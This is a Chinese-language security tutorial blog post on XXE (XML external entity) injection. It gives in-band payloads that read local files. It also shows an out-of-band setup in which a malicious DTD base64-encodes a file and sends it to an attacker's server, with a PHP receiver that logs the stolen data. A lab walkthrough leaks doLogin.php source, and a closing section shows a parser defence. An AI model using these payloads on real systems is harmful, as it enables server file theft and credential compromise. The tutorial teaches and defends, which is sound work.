揭秘XXE漏洞:黑客如何窃取服务器文件

一.XXE漏洞是什么

1.XXE 就是:

黑客让服务器去 “读本地文件”,服务器傻乎乎地照做了,把密码、配置、源码全泄露出来

XML 外部实体注入 = 让服务器帮你读本地文件。

2.XXE 干了啥?

  • 黑客发一段 特殊的 XML 代码
  • 服务器解析 XML 时没做安全检查
  • 黑客就能让服务器:
    • 读服务器上的文件(/etc/passwd、配置文件、密钥)
    • 扫描内网端口
    • 甚至发起内网攻击

3.XXE 怎么组成

XML代码是XXE漏洞的重要载体,黑客依靠这段代码来攻击服务器,解析数据

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

1. XML 声明(文档的 “身份卡”)

<?xml version="1.0" encoding="UTF-8"?>

2.DTD文档类型定义(可选)

<!DOCTYPE book [
  <!ELEMENT book (title, author, price)>
  <!ELEMENT title (#PCDATA)>
  <!ELEMENT author (#PCDATA)>
  <!ELEMENT price (#PCDATA)>
]>
<!DOCTYPE hack [
  <!-- 外部实体:SYSTEM + 文件路径 -->
  <!ENTITY steal_file SYSTEM "file:///etc/passwd">
]>
<!-- 调用这个实体,让解析器返回文件内容 -->

3.文档元素(正文)

<book>
  <title>云计算小白教程</title>
  <author>小明</author>
  <price>29.9</price>
</book>
<book>
  <title>云计算小白教程</title>
  <author>小明</author>
  <price>29.9</price>
</book>

二.漏洞类型

1.有回显 XXE

<?xml version = "1.0"?>  
<!DOCTYPE any[ 
<!ENTITY xxe SYSTEM "file:///C://Users//zzz//Desktop//1.txt"> 
]> 
<foo>&xxe;</foo>

这是一点段xml攻击代码,旨在查看桌面下的1.txt文件

在靶场下输入xml代码,系统直接会将文件内容显示

2.⽆回显XXE

服务器不直接返回偷到的数据 → 我们让服务器把数据通过网络请求发送到自己的服务器 → 从自己服务器的日志里拿数据或者生成一个文件里面携带这数据

1.准备自己的 “接收服务器”

可以在用虚拟机或者是本机都可以,作用主要是接收数据。查看服务器IP

2.编写恶意 DTD 文件(存放于自己的接收服务器)

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//desktop//Desktop//1.txt">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://IP/get.php?file=%file;'>">
%all;
%send;
 

这段DTD的主要目的是读取C://Users//desktop//Desktop//1.txt 文件并且加密成Base64 编码,然后发送给服务器IP

为什么用 Base64 编码?如果你偷的1.txt里有换行、空格、特殊符号(如&<),直接传输会打断 URL,导致数据丢失;Base64 把所有内容转成字母 / 数字,传输更稳定。

3.新建⼀个⽤于接受的php

<?php
$data = $_GET['file'];
$myfile = fopen("file.txt","w+");
fwrite($myfile,$data);
fclose($myfile);
?>

接收 URL 中file参数的内容,写入当前目录的file.txt文件

4.构造恶意 XML 代码(发给目标服务器)

<?xml version = "1.0"?>
<!DOCTYPE ANY[
<!ENTITY % dtd SYSTEM "http://192.168.220.135/vil.dtd">
%dtd;
]>

IP是目标服务器的

5.查看file.txt的内容,解密base64

注意 dtd 文件和 php 文件都要放在www目录下

三.实战演例

破解这个网站的用户名和密码,用XXE漏洞方式

抓个包,观察一下存在xxe漏洞,

<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user>
  <username>&file;</username>
  <password>12313</password>
</user>

拼接xml语句

&file;:调用上面定义的 file 实体 —— 靶机解析 XML 时,会把 &file; 替换成 doLogin.php 的 Base64 编码内容;

php://filter:PHP 的内置伪协议,专门用来过滤 / 处理文件内容

read=convert.base64-encode:对读取的 doLogin.php 内容做Base64 编码

&file; 不是只能放 <username> 里,放在 <password> 里也完全可以

dologin.php :这是我们猜的,具体就这几个:index.php;admin.php;login.php;dologin.php

多次尝试,谁不报错就用谁

发包,看响应

base64解码

得到网页源代码,查找得到

四,XXE防御

XXE 防御核心原则(一句话记住)

禁用 XML 解析器的外部实体解析功能—— 这是所有防御方法的根本,因为 XXE 漏洞的本质就是解析器允许加载外部实体(SYSTEM 引用)

<?php
// 关键:禁用外部实体(PHP 5.4+ 支持,必须放在解析XML之前)
libxml_disable_entity_loader(true);

// 正常解析XML(此时外部实体不会被加载,XXE攻击失效)
$xml = simplexml_load_string($evil_xml);
?>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值